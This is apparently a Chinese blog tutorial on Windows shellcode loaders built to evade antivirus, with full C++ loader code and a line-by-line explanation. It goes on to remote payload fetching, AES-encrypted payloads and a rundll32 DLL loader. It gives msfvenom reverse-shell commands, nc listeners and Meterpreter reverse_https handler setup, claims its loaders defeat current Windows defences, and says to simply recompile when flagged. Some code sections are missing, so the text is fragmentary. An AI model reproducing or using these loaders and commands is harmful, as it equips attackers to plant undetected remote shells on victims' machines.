一串简单的将shellcode加载入windows内存执行的c++代码
#include
#include
int main() {
unsigned char payload[] = "\x00";
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!alloc_mem) {
printf("Failed to Allocate memory (%u)\n", GetLastError());
return -1;
}
MoveMemory(alloc_mem, payload, sizeof(payload));
DWORD oldProtect;
if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
printf("Failed to change memory protection (%u)\n", GetLastError());
return -2;
}
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
if (!tHandle) {
printf("Failed to Create the thread (%u)\n", GetLastError());
return -3;
}
printf("\n\nalloc_mem : %p\n", alloc_mem);
WaitForSingleObject(tHandle, INFINITE);
return 0;
}
payload变量里存储的就是我们的shellcode
代码:
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
作用:
这行代码是使用Windows操作系统提供的函数在进程的虚拟内存空间中分配内存块
LPVOID alloc_mem: 这是一个指向void类型的指针,用于存储分配的内存块的起始地址。
LPVOID是Windows API中表示内存地址的通用类型
VirtualAlloc: 这是Windows操作系统提供的函数,用于在进程的虚拟内存空间中分配内存。它接受四个参数:
NULL: 这表示希望操作系统自动选择一个合适的地址来分配内存块。
sizeof(payload): 这是要分配的内存块的大小,sizeof(payload)表示要分配的大小与名为payload的变量或数据结构的大小相等。
MEM_COMMIT | MEM_RESERVE: 这是内存分配的标志位,它们告诉操作系统将分配的内存块同时提交(即立即分配物理内存)和保留(即为该内存块保留虚拟地址空间)。
PAGE_READWRITE: 这是指定内存块的访问权限,PAGE_READWRITE表示内存块可以被读写
代码:
if (!alloc_mem) {
printf("Failed to Allocate memory (%u)\n", GetLastError());
return -1;
}
作用:
if (!alloc_mem): 这是一个条件语句,它判断alloc_mem指针是否为NULL,即是否分配内存失败。
在C语言中,如果指针为NULL,表示内存分配失败或者指向的内存块不存在
printf("Failed to Allocate memory (%u)\n", GetLastError());: 如果内存分配失败,该语句将打印一条错误消息。
GetLastError()是一个Windows API函数,用于获取最近一次系统调用的错误代码
return -1;: 如果内存分配失败,代码将返回-1
代码:
MoveMemory(alloc_mem, payload, sizeof(payload));
解释:
MoveMemory 函数,它的作用是将指定源内存块的内容复制到目标内存块
MoveMemory(alloc_mem, payload, sizeof(payload));: 这是一个函数调用
它将源内存块 payload 的内容复制到目标内存块 alloc_mem 中,复制的字节数为 sizeof(payload)。
alloc_mem: 这是目标内存块的起始地址,是之前通过 VirtualAlloc 分配的内存块的地址。
payload: 这是源内存块的起始地址,通常表示一段数据或者缓冲区的地址。
sizeof(payload): 这表示要复制的字节数,即从源内存块复制多少字节的数据
代码:
DWORD oldProtect;
作用:
DWORD oldProtect; 是一个变量声明,它用于存储先前的内存保护标志位(Protection Flags)。
在Windows操作系统中,内存保护标志位用于控制对内存页的访问权限
代码:
if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
printf("Failed to change memory protection (%u)\n", GetLastError());
return -2;
}
作用:
VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect):
这是一个函数调用,它使用 VirtualProtect 函数来修改内存保护标志位,从而更改内存块的访问权限。
alloc_mem: 这是之前通过 VirtualAlloc 分配的内存块的起始地址。
sizeof(payload): 这表示要更改保护标志位的内存块的大小,通常等于 payload 数据的大小。
PAGE_EXECUTE_READ: 这是新的内存保护标志位,表示内存块可以被执行和读取。这是一种常见的内存保护配置,用于存储可执行代码。
&oldProtect: 这是一个指向 DWORD 类型的指针,用于存储先前的内存保护标志位。
if (!VirtualProtect(...)) { ... }: 这是一个条件语句,它检查 VirtualProtect 函数是否成功执行。如果函数执行失败,即无法更改内存保护标志位,那么条件为真。
printf("Failed to change memory protection (%u)\n", GetLastError());: 如果内存保护更改失败,将输出错误消息,其中包含通过 GetLastError() 获取的错误代码。
return -2;: 在内存保护更改失败的情况下,代码将返回一个表示错误的返回码 -2
代码:
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
if (!tHandle) {
printf("Failed to Create the thread (%u)\n", GetLastError());
return -3;
}
作用:
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);:
这是一个函数调用,用于创建一个新的线程。
NULL: 这是一个表示线程的安全性的参数,NULL 表示线程将继承父进程的安全性设置。
0: 这是初始线程栈大小(以字节为单位),0 表示使用默认的线程栈大小。
(LPTHREAD_START_ROUTINE)alloc_mem: 这是一个指向函数的指针,用于指定新线程将要执行的函数。
在这里,它使用了先前分配的内存块的起始地址 alloc_mem,意味着新线程将从这个内存地址开始执行代码。
NULL: 这是传递给线程函数的参数,这里设置为 NULL。
0: 这是控制线程的创建标志,0 表示创建线程后立即启动。
NULL: 这是线程的标识符,NULL 表示不获取线程标识符。
if (!tHandle) { ... }: 这是一个条件语句,它检查 CreateThread 函数是否成功创建新的线程。如果函数执行失败,即无法创建线程,那么条件为真。
printf("Failed to Create the thread (%u)\n", GetLastError());: 如果线程创建失败,将输出错误消息,其中包含通过 GetLastError() 获取的错误代码。
return -3;: 在线程创建失败的情况下,代码将返回一个表示错误的返回码 -3
代码:
printf("\n\nalloc_mem : %p\n", alloc_mem);
WaitForSingleObject(tHandle, INFINITE);
作用:
printf("\n\nalloc_mem : %p\n", alloc_mem);: 这是一个 printf 函数调用,它用于在控制台输出信息。具体来说,它会输出分配的内存块的地址。
\n\n: 这是换行符,用于在输出之前在控制台输出两个空行,以提高可读性。
alloc_mem: 这是之前通过 VirtualAlloc 分配的内存块的起始地址。
%p: 这是 printf 的格式化占位符,用于输出指针的值。
WaitForSingleObject(tHandle, INFINITE);: 这是一个函数调用,它用于等待一个线程的执行完成。
tHandle: 这是先前创建的线程的句柄,表示要等待的线程。
INFINITE: 这是一个常量,表示等待时间无限。这意味着程序将一直等待,直到指定的线程执行完毕
这就是一个简单的将shellcode加载进windows内存里执行的程序代码
如果要编译,可以使用这个命令
x86_64-w64-mingw32-g++ --static muma.cpp -o muma.exe
这个程序没有经过免杀,所以很容易被杀
以下程序的免杀方式是用socket函数远程获取shellcode执行,不是将shellcode写入到源文件里,这是一种免杀方式

简而言之,这些代码的作用就是使用socket函数远程获取shellcode文件,然后加载到内存里
编译文件:
x86_64-w64-mingw32-g++ --static -o power.exe muma.cpp -fpermissive -lws2_32
然后把程序放到靶机上
scp [email protected]:/home/kali/bypass/power.exe .
python -m http.server
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.110 lport=1234 -f raw > beacon.bin
nc -nvlp 1234
使用方法:
power.exe 服务器ip 端口 要加载的shellcode文件名
效果:
能动态和静态过最新的windows防火墙
文件被查杀要随便改一下源代码然后再编译一下就好了
如果要使用msfconsole,需要用到windows/x64/meterpreter/reverse_https模块,首先我们需要生成一个https证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=US/ST=Texas/L=Austin/O=Development/CN=www.example.com" \

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.0.110
set lport 1234
set HandlerSSLCert /home/kali/bypass/www.example.com.pem
set StagerverifySSLCert true
run
回到靶机,获取程序
然后得到shell

print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
print('unsigned char payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')
try:

except:
print("Usage: .\AES_cryptor.py PAYLOAD_FILE")
sys.exit()
KEY = urandom(16)
ciphertext, key = AESencrypt(content, KEY)
printResult(KEY,ciphertext)
使用msf生成一个payload
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.110 lport=1234 -f raw > beacon.bin
然后用aes脚本加密payload
pip3 install pycryptodome

编译:
x86_64-w64-mingw32-g++ --shared muma.cpp -o muma.dll
然后使用nc监听设置的端口,然后将dll文件传到靶机上
然后执行
rundll32.exe .\power.dll, HelloWorld
能静态和动态过windows最新的防火墙
如果要使用msf,操作和分离免杀的那个https差不多
